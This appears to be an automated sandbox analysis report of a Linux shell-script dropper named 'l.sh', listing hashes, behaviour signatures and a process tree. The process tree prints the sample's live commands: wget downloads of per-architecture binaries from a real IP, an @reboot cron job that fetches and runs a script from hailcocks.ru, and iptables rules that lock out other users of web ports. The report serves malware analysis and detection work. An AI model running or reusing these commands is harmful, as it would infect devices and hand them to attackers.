Analysis

  • max time kernel
    138s
  • max time network
    143s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28-12-2024 10:10

General

  • Target

    l.sh

  • Size

    1KB

  • MD5

    f1bc5c9578ad5b69e09a58a6b3721b64

  • SHA1

    b7ce08c279c3c9c846a9f8edb4214e7fc4a40d72

  • SHA256

    c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8

  • SHA512

    5afccb744365dc43090fa8c18e965708c3e45f8239268a31e2453cc3c32ff7bab095fc1718d2f89d3c597770c973a000722b4cba95c78896b1e63a92dba93788

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/l.sh
    /tmp/l.sh
    1⤵
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:703
    • /usr/bin/killall
      killall -9 dvrLocker
      2⤵
      • Reads runtime system information
      PID:704
    • /bin/cat
      cat /proc/mounts
      2⤵
      • Reads runtime system information
      PID:712
    • /bin/grep
      grep tmpfs
      2⤵
        PID:713
      • /bin/grep
        grep rw
        2⤵
          PID:714
        • /bin/grep
          grep -v noexe
          2⤵
            PID:715
          • /usr/bin/cut
            cut -d " " -f 2
            2⤵
              PID:716
            • /bin/rm
              rm -rf .a .f
              2⤵
                PID:718
              • /bin/rm
                rm -rf .a .f
                2⤵
                  PID:720
                • /bin/rm
                  rm -rf .a .f
                  2⤵
                    PID:722
                  • /bin/cp
                    cp /proc/self/exe .f
                    2⤵
                    • Reads runtime system information
                    PID:725
                  • /bin/chmod
                    chmod 777 .f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:728
                  • /bin/rm
                    rm -rf upnp
                    2⤵
                      PID:730
                    • /usr/bin/wget
                      wget http://103.188.82.218/t/arm -O -
                      2⤵
                        PID:732
                      • /bin/chmod
                        chmod 777 upnp
                        2⤵
                        • File and Directory Permissions Modification
                        PID:744
                      • /run/user/0/upnp
                        ./upnp tplink.arm
                        2⤵
                        • Executes dropped EXE
                        PID:745
                      • /usr/bin/wget
                        wget http://103.188.82.218/t/arm5 -O -
                        2⤵
                          PID:747
                        • /bin/chmod
                          chmod 777 upnp
                          2⤵
                          • File and Directory Permissions Modification
                          PID:749
                        • /run/user/0/upnp
                          ./upnp tplink.arm5
                          2⤵
                          • Executes dropped EXE
                          PID:750
                        • /usr/bin/wget
                          wget http://103.188.82.218/t/arm6 -O -
                          2⤵
                            PID:752
                          • /bin/chmod
                            chmod 777 upnp
                            2⤵
                            • File and Directory Permissions Modification
                            PID:753
                          • /run/user/0/upnp
                            ./upnp tplink.arm6
                            2⤵
                            • Executes dropped EXE
                            PID:754
                          • /usr/bin/wget
                            wget http://103.188.82.218/t/arm6 -O -
                            2⤵
                              PID:756
                            • /bin/chmod
                              chmod 777 upnp
                              2⤵
                              • File and Directory Permissions Modification
                              PID:757
                            • /run/user/0/upnp
                              ./upnp tplink.arm6
                              2⤵
                              • Executes dropped EXE
                              PID:758
                            • /usr/bin/wget
                              wget http://103.188.82.218/t/mips -O -
                              2⤵
                              • System Network Configuration Discovery
                              PID:760
                            • /bin/chmod
                              chmod 777 upnp
                              2⤵
                              • File and Directory Permissions Modification
                              PID:761
                            • /run/user/0/upnp
                              ./upnp tplink.mips
                              2⤵
                              • Executes dropped EXE
                              • System Network Configuration Discovery
                              PID:762
                            • /usr/bin/wget
                              wget http://103.188.82.218/t/mpsl -O -
                              2⤵
                                PID:765
                              • /bin/chmod
                                chmod 777 upnp
                                2⤵
                                • File and Directory Permissions Modification
                                PID:775
                              • /run/user/0/upnp
                                ./upnp tplink.mpsl
                                2⤵
                                • Executes dropped EXE
                                • Renames itself
                                • Changes its process name
                                • Reads runtime system information
                                PID:776
                                • /bin/sh
                                  sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                  3⤵
                                  • File and Directory Permissions Modification
                                  PID:778
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:780
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                      PID:781
                                • /usr/bin/wget
                                  wget http://103.188.82.218/t/ppc -O -
                                  2⤵
                                    PID:786
                                  • /bin/chmod
                                    chmod 777 upnp
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:801
                                  • /run/user/0/upnp
                                    ./upnp tplink.ppc
                                    2⤵
                                    • Executes dropped EXE
                                    PID:802
                                  • /bin/chmod
                                    chmod 777 upnp
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:804
                                  • /run/user/0/upnp
                                    ./upnp tplink.x86
                                    2⤵
                                    • Executes dropped EXE
                                    PID:805
                                  • /sbin/iptables
                                    iptables -A INPUT -p tcp --dport 443 -s 95.214.53.205 -j ACCEPT
                                    2⤵
                                      PID:806
                                    • /sbin/iptables
                                      iptables -A INPUT -p tcp --dport 80 -s 95.214.53.205 -j ACCEPT
                                      2⤵
                                        PID:807
                                      • /sbin/iptables
                                        iptables -A INPUT -p tcp --dport 8081 -s 95.214.53.205 -j ACCEPT
                                        2⤵
                                          PID:808
                                        • /sbin/iptables
                                          iptables -A INPUT -p tcp --dport 8080 -s 95.214.53.205 -j ACCEPT
                                          2⤵
                                            PID:809
                                          • /sbin/iptables
                                            iptables -A INPUT -p tcp --dport 8888 -s 95.214.53.205 -j ACCEPT
                                            2⤵
                                              PID:810
                                            • /sbin/iptables
                                              iptables -A INPUT -p tcp --dport 443 -j DROP
                                              2⤵
                                                PID:811
                                              • /sbin/iptables
                                                iptables -A INPUT -p tcp --dport 80 -j DROP
                                                2⤵
                                                  PID:812
                                                • /sbin/iptables
                                                  iptables -A INPUT -p tcp --dport 8081 -j DROP
                                                  2⤵
                                                    PID:814
                                                  • /sbin/iptables
                                                    iptables -A INPUT -p tcp --dport 8080 -j DROP
                                                    2⤵
                                                      PID:815
                                                    • /sbin/iptables
                                                      iptables -A INPUT -p tcp --dport 8888 -j DROP
                                                      2⤵
                                                        PID:816

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /run/user/0/.f

                                                      Filesize

                                                      147KB

                                                      MD5

                                                      cb925874303b1803b2c3dc486d3f8328

                                                      SHA1

                                                      017d9efd6b451245076d3e27fdd1b3f5f49d8865

                                                      SHA256

                                                      0857b37e550e8342a347eec0b3501a1aa5d315b2caf7ba027e672092d3593fee

                                                      SHA512

                                                      e3e731934a643e03459a1d1c6d92810c66368404994f4e0f46165d0f901a70edcaec1dc0d0cb8c48ab146979231e26a99ec28e692bc751234473ebbb6555ee90

                                                    • /run/user/0/upnp

                                                      Filesize

                                                      73KB

                                                      MD5

                                                      f812a7b3a877f717eb6e54b843b41848

                                                      SHA1

                                                      21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

                                                      SHA256

                                                      9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

                                                      SHA512

                                                      c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

                                                    • /run/user/0/upnp

                                                      Filesize

                                                      85KB

                                                      MD5

                                                      d8b9115310ca0429f6ec2473696156a2

                                                      SHA1

                                                      5497d765ad0b6ad6ed2204338faecd9671f6a60c

                                                      SHA256

                                                      7f089801a37f1d9a83a5103c8f9b1c6fc00f9ce699cb812cc23704aea8d46c8c

                                                      SHA512

                                                      a3adc2f2a36bdf40bda9e592f03bf51c3a3e7954fbeb8e52d1517537c72efc7df2d22e8be0d1ac85b768aacb45bd77cabb0ced0885ac96c17252b8af63cdb664

                                                    • /run/user/0/upnp

                                                      Filesize

                                                      99KB

                                                      MD5

                                                      559f129d380ad1cfb60792c6b2dc3d32

                                                      SHA1

                                                      3997a0fc0bd5958783f1751364ec407c5b170adc

                                                      SHA256

                                                      fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

                                                      SHA512

                                                      9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

                                                    • /run/user/0/upnp

                                                      Filesize

                                                      100KB

                                                      MD5

                                                      de6ef4e554d7fc17efc20fabafe82de8

                                                      SHA1

                                                      eca13ec698bed4ccde75e459d9267e68cbf874e9

                                                      SHA256

                                                      9fe5e0525979f5bbff9354895b7299f0ee4a2bad41877636a71fcafaae283ec0

                                                      SHA512

                                                      2e05e623b1ed416af7dfd115daef34ad5c1a4d334a267a84900998f2c58c577e0cca3b55c5f2acc7074b6f3f957a8999d70864875d5d0534d0c28f33c97f847e

                                                    • /run/user/0/upnp

                                                      Filesize

                                                      77KB

                                                      MD5

                                                      d09db60a70d5b53b5b53ad39476fd7e8

                                                      SHA1

                                                      73a75e5e8200f77d857a7256cc0979077e29241d

                                                      SHA256

                                                      36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

                                                      SHA512

                                                      ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

                                                    • /var/spool/cron/crontabs/tmp.RPpZXs

                                                      Filesize

                                                      306B

                                                      MD5

                                                      1fb7b0ee250fb28b48e8358082db3e9f

                                                      SHA1

                                                      a07edb754b3c304730de3ac9bb0ad459def7cbeb

                                                      SHA256

                                                      698bb849562f67b6785d3c113e4be2109ef2c542d2c8dbf6fd825181c52c4ed6

                                                      SHA512

                                                      cf4d278863cf23bc21dab78430f3efe45cb3eae16f7a631d52df2587d692ac409e49907028e0dd2953febeb658f7fbb762d879892e905de1d5bbcbda3405719b